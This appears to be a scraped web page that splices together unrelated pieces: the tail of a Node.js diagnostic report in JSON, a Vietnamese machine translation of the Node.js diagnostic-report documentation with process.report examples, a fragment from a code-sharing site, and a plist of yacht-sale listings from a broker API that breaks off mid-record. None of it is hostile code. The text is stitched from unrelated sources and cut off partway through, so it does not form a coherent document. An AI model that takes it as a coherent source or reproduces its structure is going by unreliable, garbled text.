"kernelCpuSeconds": 0.019127, "cpuConsumptionPercent": 0.000000, "fsActivity": { "reads": 0, "writes": 0 } }, "libuv": [ { "type": "async", "is_active": true, "is_referenced": false, "address": "0x0000000102910900", "details": "" }, { "type": "timer", "is_active": false, "is_referenced": false, "address": "0x00007fff5fbfeab0", "repeat": 0, "firesInMsFromNow": 94403548320796, "expired": true }, { "type": "check", "is_active": true, "is_referenced": false, "address": "0x00007fff5fbfeb48" }, { "type": "idle", "is_active": false, "is_referenced": true, "address": "0x00007fff5fbfebc0" }, { "type": "prepare", "is_active": false, "is_referenced": false, "address": "0x00007fff5fbfec38" }, { "type": "check", "is_active": false, "is_referenced": false, "address": "0x00007fff5fbfecb0" }, { "type": "async", "is_active": true, "is_referenced": false, "address": "0x000000010188f2e0" }, { "type": "tty", "is_active": false, "is_referenced": true, "address": "0x000055b581db0e18", "width": 204, "height": 55, "fd": 17, "writeQueueSize": 0, "readable": true, "writable": true }, { "type": "signal", "is_active": true, "is_referenced": false, "address": "0x000055b581d80010", "signum": 28, "signal": "SIGWINCH" }, { "type": "tty", "is_active": true, "is_referenced": true, "address": "0x000055b581df59f8", "width": 204, "height": 55, "fd": 19, "writeQueueSize": 0, "readable": true, "writable": true }, { "type": "loop", "is_active": true, "address": "0x000055fc7b2cb180", "loopIdleTimeSeconds": 22644.8 } ], "workers": [], "environmentVariables": { "REMOTEHOST": "REMOVED", "MANPATH": "/opt/rh/devtoolset-3/root/usr/share/man:", "XDG_SESSION_ID": "66126", "HOSTNAME": "test_machine", "HOST": "test_machine", "TERM": "xterm-256color", "SHELL": "/bin/csh", "SSH_CLIENT": "REMOVED", "PERL5LIB": "/opt/rh/devtoolset-3/root//usr/lib64/perl5/vendor_perl:/opt/rh/devtoolset-3/root/usr/lib/perl5:/opt/rh/devtoolset-3/root//usr/share/perl5/vendor_perl", "OLDPWD": "/home/nodeuser/project/node/src", "JAVACONFDIRS": "/opt/rh/devtoolset-3/root/etc/java:/etc/java", "SSH_TTY": "/dev/pts/0", "PCP_DIR": "/opt/rh/devtoolset-3/root", "GROUP": "normaluser", "USER": "nodeuser", "LD_LIBRARY_PATH": "/opt/rh/devtoolset-3/root/usr/lib64:/opt/rh/devtoolset-3/root/usr/lib", "HOSTTYPE": "x86_64-linux", "XDG_CONFIG_DIRS": "/opt/rh/devtoolset-3/root/etc/xdg:/etc/xdg", "MAIL": "/var/spool/mail/nodeuser", "PATH": "/home/nodeuser/project/node:/opt/rh/devtoolset-3/root/usr/bin:/usr/local/bin:/usr/bin:/usr/local/sbin:/usr/sbin", "PWD": "/home/nodeuser/project/node", "LANG": "en_US.UTF-8", "PS1": "\\u@\\h : \\[\\e[31m\\]\\w\\[\\e[m\\] > ", "SHLVL": "2", "HOME": "/home/nodeuser", "OSTYPE": "linux", "VENDOR": "unknown", "PYTHONPATH": "/opt/rh/devtoolset-3/root/usr/lib64/python2.7/site-packages:/opt/rh/devtoolset-3/root/usr/lib/python2.7/site-packages", "MACHTYPE": "x86_64", "LOGNAME": "nodeuser", "XDG_DATA_DIRS": "/opt/rh/devtoolset-3/root/usr/share:/usr/local/share:/usr/share", "LESSOPEN": "||/usr/bin/lesspipe.sh %s", "INFOPATH": "/opt/rh/devtoolset-3/root/usr/share/info", "XDG_RUNTIME_DIR": "/run/user/50141", "_": "./node" }, "userLimits": { "core_file_size_blocks": { "soft": "", "hard": "unlimited" }, "data_seg_size_kbytes": { "soft": "unlimited", "hard": "unlimited" }, "file_size_blocks": { "soft": "unlimited", "hard": "unlimited" }, "max_locked_memory_bytes": { "soft": "unlimited", "hard": 65536 }, "max_memory_size_kbytes": { "soft": "unlimited", "hard": "unlimited" }, "open_files": { "soft": "unlimited", "hard": 4096 }, "stack_size_bytes": { "soft": "unlimited", "hard": "unlimited" }, "cpu_time_seconds": { "soft": "unlimited", "hard": "unlimited" }, "max_user_processes": { "soft": "unlimited", "hard": 4127290 }, "virtual_memory_kbytes": { "soft": "unlimited", "hard": "unlimited" } }, "sharedObjects": [ "/lib64/libdl.so.2", "/lib64/librt.so.1", "/lib64/libstdc++.so.6", "/lib64/libm.so.6", "/lib64/libgcc_s.so.1", "/lib64/libpthread.so.0", "/lib64/libc.so.6", "/lib64/ld-linux-x86-64.so.2" ] } Cách sử dụng# node --report-uncaught-exception --report-on-signal \ --report-on-fatalerror app.js --report-uncaught-exceptionCho phép tạo báo cáo trên các trường hợp ngoại lệ không bị bắt. Hữu ích khi kiểm tra ngăn xếp JavaScript cùng với ngăn xếp gốc và dữ liệu môi trường thời gian chạy khác. --report-on-signalCho phép tạo báo cáo khi nhận được tín hiệu được chỉ định (hoặc xác định trước) cho quy trình Node.js đang chạy. (Xem bên dưới về cách sửa đổi tín hiệu kích hoạt báo cáo.) Tín hiệu mặc định là SIGUSR2. Hữu ích khi một báo cáo cần được kích hoạt từ một chương trình khác. Trình theo dõi ứng dụng có thể tận dụng tính năng này để thu thập báo cáo theo định kỳ và vẽ sơ đồ tập hợp dữ liệu thời gian chạy nội bộ phong phú cho chế độ xem của họ. Tạo báo cáo dựa trên tín hiệu không được hỗ trợ trong Windows. Trong các trường hợp bình thường, không cần phải sửa đổi tín hiệu kích hoạt báo cáo. Tuy nhiên, nếu SIGUSR2đã được sử dụng cho các mục đích khác, thì cờ này sẽ giúp thay đổi tín hiệu để tạo báo cáo và giữ nguyên ý nghĩa ban đầu của SIGUSR2cho các mục đích đã nói. --report-on-fatalerrorCho phép kích hoạt báo cáo về các lỗi nghiêm trọng (lỗi nội bộ trong thời gian chạy Node.js, chẳng hạn như hết bộ nhớ) dẫn đến việc chấm dứt ứng dụng. Hữu ích để kiểm tra các phần tử dữ liệu chẩn đoán khác nhau như đống, ngăn xếp, trạng thái vòng lặp sự kiện, tiêu thụ tài nguyên, v.v. để tìm ra lỗi nghiêm trọng. --report-compactViết báo cáo ở định dạng nhỏ gọn, JSON một dòng, được hệ thống xử lý nhật ký sử dụng dễ dàng hơn so với định dạng nhiều dòng mặc định được thiết kế cho con người. --report-directoryVị trí mà báo cáo sẽ được tạo. --report-filenameTên của tệp mà báo cáo sẽ được viết. --report-signalĐặt hoặc đặt lại tín hiệu để tạo báo cáo (không được hỗ trợ trên Windows). Tín hiệu mặc định là SIGUSR2. Báo cáo cũng có thể được kích hoạt thông qua lệnh gọi API từ ứng dụng JavaScript: process.report.writeReport(); Hàm này nhận một đối số bổ sung tùy chọn filename, là tên của tệp mà báo cáo được viết vào đó. process.report.writeReport('./foo.json'); Hàm này nhận một đối số bổ sung tùy chọn errlà một Error đối tượng sẽ được sử dụng làm ngữ cảnh cho ngăn xếp JavaScript được in trong báo cáo. Khi sử dụng báo cáo để xử lý lỗi trong trình xử lý gọi lại hoặc xử lý ngoại lệ, điều này cho phép báo cáo bao gồm vị trí của lỗi ban đầu cũng như nơi nó đã được xử lý. try { process.chdir('/non-existent-path'); } catch (err) { process.report.writeReport(err); } // Any other code Nếu cả tên tệp và đối tượng lỗi được truyền cho writeReport()đối tượng lỗi phải là tham số thứ hai. try { process.chdir('/non-existent-path'); } catch (err) { process.report.writeReport(filename, err); } // Any other code Nội dung của báo cáo chẩn đoán có thể được trả về dưới dạng Đối tượng JavaScript thông qua lệnh gọi API từ ứng dụng JavaScript: const report = process.report.getReport(); console.log(typeof report === 'object'); // true // Similar to process.report.writeReport() output console.log(JSON.stringify(report, null, 2)); Hàm này nhận một đối số bổ sung tùy chọn err, là một Error đối tượng sẽ được sử dụng làm ngữ cảnh cho ngăn xếp JavaScript được in trong báo cáo. const report = process.report.getReport(new Error('custom error')); console.log(typeof report === 'object'); // true Các phiên bản API hữu ích khi kiểm tra trạng thái thời gian chạy từ bên trong ứng dụng, với kỳ vọng tự điều chỉnh mức tiêu thụ tài nguyên, cân bằng tải, giám sát, v.v. Nội dung của báo cáo bao gồm phần tiêu đề chứa loại sự kiện, ngày, giờ, phiên bản PID và Node.js, phần chứa JavaScript và dấu vết ngăn xếp gốc, phần chứa thông tin đống V8, phần chứa libuvthông tin xử lý và nền tảng OS phần thông tin hiển thị việc sử dụng CPU và bộ nhớ và giới hạn hệ thống. Một báo cáo mẫu có thể được kích hoạt bằng Node.js REPL: $ node > process.report.writeReport(); Writing Node.js report to file: report.20181126.091102.8480.0.001.json Node.js report completed > Khi một báo cáo được viết, thông báo bắt đầu và kết thúc được gửi đến stderr và tên tệp của báo cáo được trả lại cho người gọi. Tên tệp mặc định bao gồm ngày, giờ, PID và một số thứ tự. Số thứ tự giúp liên kết kết xuất báo cáo với trạng thái thời gian chạy nếu được tạo nhiều lần cho cùng một quy trình Node.js. Cấu hình# Cấu hình thời gian chạy bổ sung của quá trình tạo báo cáo có sẵn thông qua các thuộc tính sau của process.report: reportOnFatalErrorkích hoạt báo cáo chẩn đoán về các lỗi nghiêm trọng khi true. Mặc định là false. reportOnSignalkích hoạt báo cáo chẩn đoán về tín hiệu khi true. Điều này không được hỗ trợ trên Windows. Mặc định là false. reportOnUncaughtExceptionkích hoạt báo cáo chẩn đoán về ngoại lệ không cần thiết khi true. Mặc định là false. signalchỉ định mã nhận dạng tín hiệu POSIX sẽ được sử dụng để chặn các trình kích hoạt bên ngoài để tạo báo cáo. Mặc định là 'SIGUSR2'. filenamechỉ định tên của tệp đầu ra trong hệ thống tệp. Ý nghĩa đặc biệt được gắn với stdoutvà stderr. Việc sử dụng những thứ này sẽ dẫn đến báo cáo được ghi vào các luồng tiêu chuẩn liên quan. Trong trường hợp các luồng tiêu chuẩn được sử dụng, giá trị trong directorybị bỏ qua. URL không được hỗ trợ. Mặc định là tên tệp tổng hợp có chứa dấu thời gian, PID và số thứ tự. directorychỉ định thư mục hệ thống tệp nơi báo cáo sẽ được viết. URL không được hỗ trợ. Mặc định là thư mục làm việc hiện tại của quá trình Node.js. // Trigger report only on uncaught exceptions. process.report.reportOnFatalError = false; process.report.reportOnSignal = false; process.report.reportOnUncaughtException = true; // Trigger report for both internal errors as well as external signal. process.report.reportOnFatalError = true; process.report.reportOnSignal = true; process.report.reportOnUncaughtException = false; // Change the default signal to 'SIGQUIT' and enable it. process.report.reportOnFatalError = false; process.report.reportOnUncaughtException = false; process.report.reportOnSignal = true; process.report.signal = 'SIGQUIT'; Cấu hình khi khởi tạo mô-đun cũng có sẵn thông qua các biến môi trường: NODE_OPTIONS="--report-uncaught-exception \ --report-on-fatalerror --report-on-signal \ --report-signal=SIGUSR2 --report-filename=./report.json \ --report-directory=/home/nodeuser" Tài liệu API cụ thể có thể được tìm thấy trong process API documentationphần. Tương tác với người lao động# Môn lịch sử Workerluồng có thể tạo báo cáo giống như cách mà luồng chính thực hiện. Báo cáo sẽ bao gồm thông tin về bất kỳ Công nhân nào là con của chuỗi hiện tại như một phần của workersphần này, với mỗi Công nhân tạo báo cáo ở định dạng báo cáo chuẩn. Luồng đang tạo báo cáo sẽ đợi các báo cáo từ luồng Worker kết thúc. Tuy nhiên, độ trễ cho việc này thường sẽ thấp, vì cả JavaScript đang chạy và vòng lặp sự kiện đều bị gián đoạn để tạo báo cáo.

    From user githud-sys

  • jgamble77 / rest-api

    unknown-21-m, <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>numResults</key> <integer>3040589</integer> <key>results</key> <array> <dict> <key>Source</key> <string>IMT</string> <key>DocumentID</key> <integer>5986181</integer> <key>SalesStatus</key> <string>Delete</string> <key>CoOpIndicator</key> <string>false</string> <key>NumberOfEngines</key> <integer>0</integer> <key>RegistrationCountryCode</key> <integer>0</integer> <key>Owner</key> <dict> <key>PartyId</key> <integer>63898</integer> </dict> <key>SalesRep</key> <dict> <key>PartyId</key> <integer>63899</integer> <key>Name</key> <string>Sander Bekkers</string> <key>Message</key> <string>The company for strong ships!</string> </dict> <key>CompanyName</key> <string>Breitner Yacht Brokers</string> <key>Office</key> <dict> <key>PostalAddress</key> <string>Breitnerlaan 14 Utrecht</string> <key>City</key> <string>Utrecht</string> <key>State</key> <string></string> <key>PostCode</key> <string>3582 HB</string> <key>Country</key> <string>NL</string> <key>Email</key> <string>[email protected]</string> <key>Phone</key> <string>+31(0)637139954</string> <key>Name</key> <string>Breitner Yacht Brokers</string> </dict> <key>LastModificationDate</key> <string>2018-02-18</string> <key>ItemReceivedDate</key> <string>2016-10-28</string> <key>Price</key> <string>62075.43 USD</string> <key>PriceHideInd</key> <false/> <key>EmbeddedVideoPresent</key> <false/> <key>BoatLocation</key> <dict> <key>BoatCityName</key> <string>Unknown</string> <key>BoatCountryID</key> <string>SE</string> <key>BoatStateCode</key> <string></string> </dict> <key>BoatCityNameNoCaseAlnumOnly</key> <string>Unknown</string> <key>MakeString</key> <string>Alistair Hunter</string> <key>MakeStringExact</key> <string>Alistair Hunter</string> <key>MakeStringNoCaseAlnumOnly</key> <string>Alistair Hunter</string> <key>ModelYear</key> <integer>1986</integer> <key>SaleClassCode</key> <string>Used</string> <key>Model</key> <integer>42</integer> <key>ModelExact</key> <integer>42</integer> <key>ModelNoCaseAlnumOnly</key> <integer>42</integer> <key>BoatCategoryCode</key> <string>Sail</string> <key>BoatName</key> <string>Fair Grace</string> <key>BoatNameNoCaseAlnumOnly</key> <string>Fair Grace</string> <key>BuilderName</key> <string></string> <key>DesignerName</key> <string></string> <key>CruisingSpeedMeasure</key> <string></string> <key>PropellerCruisingSpeed</key> <string></string> <key>MaximumSpeedMeasure</key> <string></string> <key>RangeMeasure</key> <string></string> <key>BridgeClearanceMeasure</key> <string></string> <key>BeamMeasure</key> <string>11 ft</string> <key>FreeBoardMeasure</key> <string></string> <key>CabinHeadroomMeasure</key> <string></string> <key>DryWeightMeasure</key> <string></string> <key>BallastWeightMeasure</key> <string></string> <key>DisplacementMeasure</key> <string></string> <key>DisplacementTypeCode</key> <string></string> <key>TotalEnginePowerQuantity</key> <string></string> <key>DriveTypeCode</key> <string></string> <key>BoatKeelCode</key> <string>Full Keel</string> <key>ConvertibleSaloonIndicator</key> <false/> <key>WindlassTypeCode</key> <string></string> <key>DeadriseMeasure</key> <string></string> <key>ElectricalCircuitMeasure</key> <string></string> <key>TrimTabsIndicator</key> <false/> <key>BoatHullMaterialCode</key> <string>Steel</string> <key>BoatHullID</key> <string></string> <key>StockNumber</key> <string></string> <key>NominalLength</key> <string>42 ft</string> <key>ListingTitle</key> <string>Offers wanted</string> <key>MaxDraft</key> <string>6.5 ft</string> <key>TaxStatusCode</key> <string>Paid</string> <key>IMTTimeStamp</key> <string>2018-02-18T08:42:27Z</string> <key>HasBoatHullID</key> <false/> <key>IsAvailableForPls</key> <false/> <key>NormNominalLength</key> <real>12.8</real> <key>NormPrice</key> <real>68114.43</real> <key>OptionActiveIndicator</key> <false/> <key>Service</key> <array> <string>imt.beta</string> <string>branding.imt.features.boats.display</string> <string>imt.product.boat</string> <string>imt.expiry</string> <string>imt.layout.newui</string> <string>export.yw</string> <string>account.type.broker</string> <string>soldboats</string> <string>yw.websites</string> <string>yw.mls</string> <string>yw</string> <string>branding.imt.bw</string> <string>imt.tracker.regular</string> </array> <key>GeneralBoatDescription</key> <array> <string>&lt;p&gt;This world sailor has unprecedented qualities, designed by Alistair Hunter and built by the Hunt Worth Shipyard on the Isle of Wight.&amp;nbsp; It is a perfect ship for rough weather, and it has already endured a hurricane without even a scratch. The steel hull has some slight chines&amp;nbsp;in some places and the same applies to the deck, this gives the boat a rounded very strong ”egg-type” self-bearing construction. &amp;nbsp;Similarly there are hardly any obstacles on deck that can be damaged. After&amp;nbsp;many ocean crossings and long trips, the owner decided to renovate the ship completely. First he dealt with the outer skin and beams: the thinner beams were chiselled and re-inserted and trusses were replaced. After that, the ship was completely sandblasted and treated with 2-component paint which will preserve&amp;nbsp;it for the coming 20 years.&lt;/p&gt; &lt;p&gt;​Furthermore, the entire interior was rebuilt by the yard and the outside cockpit again&amp;nbsp;covered with teak. The layout of the ship remained unchanged, with a nice aft cabin with double bed of 2m x 1.80m, and two settees witch can be converted to beds in the main cabin, also equipped&amp;nbsp;with galley and a centrally located wood stove. The cushions and matrasses&amp;nbsp;are new. Up front is a shower / head and in the bow there is a workplace with storage for tools and spare parts, plus an extra bed. Also, the electrical system has been completely revamped, as well as all the equipment, the tanks and the (SS) anchor locker.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;A safe working ship fit for making long trips and living aboard. This remodelled ship can serve for many years as the basis for World circumnavigation.&lt;/p&gt; &lt;p&gt;​&lt;/p&gt; &lt;p&gt;Deck and hull: Steel keel 6mm, 4mm flat, side 4mm, 3mm deck, deck features non-skid paint.&lt;/p&gt; &lt;p&gt;Superstructure: Smooth deck with small deckhouse, steel&lt;/p&gt; &lt;p&gt;Rudder: pierced helm, behind a skeg&lt;/p&gt; &lt;p&gt;Control: Steering wheel, hydraulic&lt;/p&gt; &lt;p&gt;Displacement: Ca. 10 tons, 12 tons loaded&lt;/p&gt; &lt;p&gt;Ballast (kg): Approx. 4.9 tonnes (cast iron)&lt;/p&gt; &lt;p&gt;Length: 42'&amp;nbsp;loa, lod: 39.6', beam 11',&amp;nbsp;depth 6.5'&lt;/p&gt; &lt;p&gt;Clearance: Ca. 15 m&lt;/p&gt; &lt;p&gt;​&lt;/p&gt; &lt;p&gt;accommodation&lt;/p&gt; &lt;p&gt;Material, colors: plywood, Mahogany&lt;/p&gt; &lt;p&gt;Cabins: 2 cabins, 3 lounges&lt;/p&gt; &lt;p&gt;Sleeping: 3 fixed, 2 extra&lt;/p&gt; &lt;p&gt;Headroom: Ca.190 cm&lt;/p&gt; &lt;p&gt;Toilet: 1x, with holding tank&lt;/p&gt; &lt;p&gt;Shower: Yes&lt;/p&gt; &lt;p&gt;Cooking / device: 3-burner diesel cooker&lt;/p&gt; &lt;p&gt;Oven: Yes, diesel&lt;/p&gt; &lt;p&gt;Refrigerator: Yes, with compressor&lt;/p&gt; &lt;p&gt;Heating: Yes, Webasto diesel heater and wood stove&lt;/p&gt; &lt;p&gt;​&lt;/p&gt; &lt;p&gt;Engine, electrics, water&lt;/p&gt; &lt;p&gt;Power: 20 horsepower&lt;/p&gt; &lt;p&gt;Brand: Volvo Penta 2003T&lt;/p&gt; &lt;p&gt;Year: 2003, revision 2016&lt;/p&gt; &lt;p&gt;Hours: 1100&lt;/p&gt; &lt;p&gt;Fuel: diesel&lt;/p&gt; &lt;p&gt;Fuel capacity: 200L&lt;/p&gt; &lt;p&gt;Cooling intercooling&lt;/p&gt; &lt;p&gt;Propulsion: Fixed propeller&lt;/p&gt; &lt;p&gt;No thruster&lt;/p&gt; &lt;p&gt;Mains voltage: 12V&lt;/p&gt; &lt;p&gt;Battery:&amp;nbsp;2 x 120Ah&lt;/p&gt; &lt;p&gt;Battery charger: yes&lt;/p&gt; &lt;p&gt;converter: Yes&lt;/p&gt; &lt;p&gt;Water pressure system: no&lt;/p&gt; &lt;p&gt;Hot water: yes, by the engine&lt;/p&gt; &lt;p&gt;Water tank: Ca. 300 liter&lt;/p&gt; &lt;p&gt;Holding tank: yes&lt;/p&gt; &lt;p&gt;Shore power: yes&lt;/p&gt; &lt;p&gt;Voltmeter: Yes&lt;/p&gt; &lt;p&gt;Tachometer: yes&lt;/p&gt; &lt;p&gt;Fuel Meter: yes&lt;/p&gt; &lt;p&gt;Wind generator, solar panels&lt;/p&gt; &lt;p&gt;​&lt;/p&gt; &lt;p&gt;Rigging&lt;/p&gt; &lt;p&gt;Bermuda type cutter&lt;/p&gt; &lt;p&gt;Winches 8 x&lt;/p&gt; &lt;p&gt;mainsail 2007&lt;/p&gt; &lt;p&gt;Mainsail reefing system Bind&lt;/p&gt; &lt;p&gt;Genoa 2007&lt;/p&gt; &lt;p&gt;Genoa reefing system&lt;/p&gt; &lt;p&gt;Staysail ,trysail, storm jib&lt;/p&gt; &lt;p&gt;​&lt;/p&gt; &lt;p&gt;Navigation and electronics&lt;/p&gt; &lt;p&gt;Navigation lights: yes&lt;/p&gt; &lt;p&gt;Compass: yes&lt;/p&gt; &lt;p&gt;Log / speed: yes, new&lt;/p&gt; &lt;p&gt;Depth: yes, new&lt;/p&gt; &lt;p&gt;Wind: yes, new&lt;/p&gt; &lt;p&gt;Autopilot: yes&lt;/p&gt; &lt;p&gt;Wind vane: yes, an Aries&lt;/p&gt; &lt;p&gt;Radar: yes, new&lt;/p&gt; &lt;p&gt;GPS plotter: yes, new&lt;/p&gt; &lt;p&gt;VHF: yes, new&lt;/p&gt; &lt;p&gt;SSB: yes, new&lt;/p&gt; &lt;p&gt;Epirb: yes&lt;/p&gt; &lt;p&gt;​&lt;/p&gt; &lt;p&gt;​&lt;/p&gt; &lt;p&gt;Equipment&lt;/p&gt; &lt;p&gt;Anchor: 2x + 2 x 80m chain&lt;/p&gt; &lt;p&gt;Windlass: yes&lt;/p&gt; &lt;p&gt;Fenders, lines&lt;/p&gt; &lt;p&gt;Life raft: Yes, approved in 2016&lt;/p&gt; &lt;p&gt;Bilge pump: Manual and electrical&lt;/p&gt; &lt;p&gt;Fire extinguisher: 2x&amp;nbsp;&lt;/p&gt; &lt;p&gt;Tarpaulins Winter cover and hood for mainsail and mizzen&lt;/p&gt; &lt;p&gt;Sprayhood: yes&lt;/p&gt; &lt;p&gt;Swimming ladder: yes&lt;/p&gt; &lt;p&gt;Achilles dinghy with 3.5 hp Yamaha outboard&lt;/p&gt; &lt;p&gt;​&lt;/p&gt;</string> </array> <key>BoatClassCode</key> <array> <string>Other</string> </array> <key>Images</key> <array> <dict> <key>Priority</key> <integer>0</integer> <key>Caption</key> <string></string> <key>Uri</key> <string>https://imt.boatwizard.com/images/1/61/81/5986181_20170502004733844_1_XLARGE.jpg</string> <key>LastModifiedDateTime</key> <string></string> </dict> <dict> <key>Priority</key> <integer>1</integer> <key>Caption</key> <string></string> <key>Uri</key> <string>https://imt.boatwizard.com/images/1/61/81/5986181_20170502004744938_1_XLARGE.jpg</string> <key>LastModifiedDateTime</key> <string></string> </dict> <dict> <key>Priority</key> <integer>2</integer> <key>Caption</key> <string></string> <key>Uri</key> <string>https://imt.boatwizard.com/images/1/61/81/5986181_20161028071959392_1_XLARGE.jpg</string> <key>LastModifiedDateTime</key> <string></string> </dict> <dict> <key>Priority</key> <integer>3</integer> <key>Caption</key> <string></string> <key>Uri</key> <string>https://imt.boatwizard.com/images/1/61/81/5986181_20170502004748049_1_XLARGE.jpg</string> <key>LastModifiedDateTime</key> <string></string> </dict> <dict> <key>Priority</key> <integer>4</integer> <key>Caption</key> <string></string> <key>Uri</key> <string>https://imt.boatwizard.com/images/1/61/81/5986181_20170502004755518_1_XLARGE.jpg</string> <key>LastModifiedDateTime</key> <string></string> </dict> <dict> <key>Priority</key> <integer>5</integer> <key>Caption</key> <string></string> <key>Uri</key> <string>https://imt.boatwizard.com/images/1/61/81/5986181_20170502004806511_1_XLARGE.jpg</string> <key>LastModifiedDateTime</key> <string></string> </dict> <dict> <key>Priority</key> <integer>6</integer> <key>Caption</key> <string></string> <key>Uri</key> <string>https://imt.boatwizard.com/images/1/61/81/5986181_20170502004815612_1_XLARGE.jpg</string> <key>LastModifiedDateTime</key> <string></string> </dict> <dict> <key>Priority</key> <integer>7</integer> <key>Caption</key> <string></string> <key>Uri</key> <string>https://imt.boatwizard.com/images/1/61/81/5986181_20170502004824055_1_XLARGE.jpg</string> <key>LastModifiedDateTime</key> <string></string> </dict> <dict> <key>Priority</key> <integer>8</integer> <key>Caption</key> <string></string> <key>Uri</key> <string>https://imt.boatwizard.com/images/1/61/81/5986181_20170502004832060_1_XLARGE.jpg</string> <key>LastModifiedDateTime</key> <string></string> </dict> <dict> <key>Priority</key> <integer>9</integer> <key>Caption</key> <string></string> <key>Uri</key> <string>https://imt.boatwizard.com/images/1/61/81/5986181_20170502004840380_1_XLARGE.jpg</string> <key>LastModifiedDateTime</key> <string></string> </dict> <dict> <key>Priority</key> <integer>10</integer> <key>Caption</key> <string></string> <key>Uri</key> <string>https://imt.boatwizard.com/images/1/61/81/5986181_20170502004848701_1_XLARGE.jpg</string> <key>LastModifiedDateTime</key> <string></string> </dict> <dict> <key>Priority</key> <integer>11</integer> <key>Caption</key> <string></string> <key>Uri</key> <string>https://imt.boatwizard.com/images/1/61/81/5986181_20170502004857534_1_XLARGE.jpg</string> <key>LastModifiedDateTime</key> <string></string> </dict> <dict> <key>Priority</key> <integer>12</integer> <key>Caption</key> <string></string> <key>Uri</key> <string>https://imt.boatwizard.com/images/1/61/81/5986181_20170502004911936_1_XLARGE.jpg</string> <key>LastModifiedDateTime</key> <string></string> </dict> <dict> <key>Priority</key> <integer>13</integer> <key>Caption</key> <string></string> <key>Uri</key> <string>https://imt.boatwizard.com/images/1/61/81/5986181_20170502004920125_1_XLARGE.jpg</string> <key>LastModifiedDateTime</key> <string></string> </dict> <dict> <key>Priority</key> <integer>14</integer> <key>Caption</key> <string></string> <key>Uri</key> <string>https://imt.boatwizard.com/images/1/61/81/5986181_20170502004927880_1_XLARGE.jpg</string> <key>LastModifiedDateTime</key> <string></string> </dict> <dict> <key>Priority</key> <integer>15</integer> <key>Caption</key> <string></string> <key>Uri</key> <string>https://imt.boatwizard.com/images/1/61/81/5986181_20170502004935481_1_XLARGE.jpg</string> <key>LastModifiedDateTime</key> <string></string> </dict> <dict> <key>Priority</key> <integer>16</integer> <key>Caption</key> <string></string> <key>Uri</key> <string>https://imt.boatwizard.com/images/1/61/81/5986181_20170502004942361_1_XLARGE.jpg</string> <key>LastModifiedDateTime</key> <string></string> </dict> <dict> <key>Priority</key> <integer>17</integer> <key>Caption</key> <string></string> <key>Uri</key> <string>https://imt.boatwizard.com/images/1/61/81/5986181_20170502004949514_1_XLARGE.jpg</string> <key>LastModifiedDateTime</key> <string></string> </dict> <dict> <key>Priority</key> <integer>18</integer> <key>Caption</key> <string></string> <key>Uri</key> <string>https://imt.boatwizard.com/images/1/61/81/5986181_20170502004955292_1_XLARGE.jpg</string> <key>LastModifiedDateTime</key> <string></string> </dict> <dict> <key>Priority</key> <integer>19</integer> <key>Caption</key> <string></string> <key>Uri</key> <string>https://imt.boatwizard.com/images/1/61/81/5986181_20170502005001362_1_XLARGE.jpg</string> <key>LastModifiedDateTime</key> <string></string> </dict> <dict> <key>Priority</key> <integer>20</integer> <key>Caption</key> <string></string> <key>Uri</key> <string>https://imt.boatwizard.com/images/1/61/81/5986181_20170502005008632_1_XLARGE.jpg</string> <key>LastModifiedDateTime</key> <string></string> </dict> <dict> <key>Priority</key> <integer>21</integer> <key>Caption</key> <string></string> <key>Uri</key> <string>https://imt.boatwizard.com/images/1/61/81/5986181_20170502005015158_1_XLARGE.jpg</string> <key>LastModifiedDateTime</key> <string></string> </dict> <dict> <key>Priority</key> <integer>22</integer> <key>Caption</key> <string></string> <key>Uri</key> <string>https://imt.boatwizard.com/images/1/61/81/5986181_20170309014443217_1_XLARGE.jpg</string> <key>LastModifiedDateTime</key> <string></string> </dict> <dict> <key>Priority</key> <integer>23</integer> <key>Caption</key> <string></string> <key>Uri</key> <string>https://imt.boatwizard.com/images/1/61/81/5986181_20170502005208891_1_XLARGE.jpg</string> <key>LastModifiedDateTime</key> <string></string> </dict> </array> <key>Marketing</key> <array> <dict> <key>OpportunityType</key> <string></string> <key>OpportunityMethod</key> <string>Offers wanted</string> <key>ProgramID</key> <string>TagLine</string> <key>ProgramDescription</key> <string></string> <key>ProgramOffer</key> <string></string> <key>PublicationID</key> <string></string> <key>MarketingID</key> <string></string> </dict> <dict> <key>OpportunityType</key> <string></string> <key>OpportunityMethod</key> <string>CUSTOM_CONTACT_SHOW_BROKER</string> <key>ProgramID</key> <string>PUBLIC</string> <key>ProgramDescription</key> <string></string> <key>ProgramOffer</key> <string></string> <key>PublicationID</key> <string></string> <key>MarketingID</key> <string></string> </dict> <dict> <key>OpportunityType</key> <string></string> <key>OpportunityMethod</key> <string>NAME_ACCESS</string> <key>ProgramID</key> <string>PUBLIC</string> <key>ProgramDescription</key> <string></string> <key>ProgramOffer</key> <string></string> <key>PublicationID</key> <string></string> <key>MarketingID</key> <string></string> </dict> </array> <key>BoatClassCodeNoCaseAlnumOnly</key> <array> <string>Other</string> </array> <key>AdditionalDetailDescription</key> <array> <string>&lt;strong&gt;Disclaimer&lt;/strong&gt;&lt;br&gt;The Company offers the details of this vessel in good faith but cannot guarantee or warrant the accuracy of this information nor warrant the condition of the vessel. A buyer should instruct his agents, or his surveyors, to investigate such details as the buyer desires validated. This vessel is offered subject to prior sale, price change, or withdrawal without notice.</string> </array> </dict> <dict> <key>Source</key> <string>IMT</string> <key>DocumentID</key> <integer>6590372</integer> <key>SalesStatus</key> <string>Delete</string> <key>CoOpIndicator</key> <string></string> <key>NumberOfEngines</key> <integer>1</integer> <key>RegistrationCountryCode</key> <integer>0</integer> <key>Owner</key> <dict> <key>PartyId</key> <integer>58610</integer> </dict> <key>SalesRep</key> <dict> <key>PartyId</key> <integer>58611</integer> <key>Name</key> <string>Giorgia Bettin</string> </dict> <key>CompanyName</key> <string>G-Broker</string> <key>Office</key> <dict> <key>PostalAddress</key> <string>Marina di Punta Faro</string> <key>City</key> <string>Lignano Sabbiadoro</string> <key>State</key> <string></string> <key>PostCode</key> <string></string> <key>Country</key> <string>IT</string> <key>Email</key> <string>[email protected]</string> <key>Phone</key> <string>+39 329 2114424</string> <key>Name</key> <string>G-Broker</string> </dict> <key>LastModificationDate</key> <string>2018-02-17</string> <key>ItemReceivedDate</key> <string>2018-01-23</string> <key>Price</key> <string>49750.80 USD</string> <key>PriceHideInd</key> <false/> <key>EmbeddedVideoPresent</key> <false/> <key>BoatLocation</key> <dict> 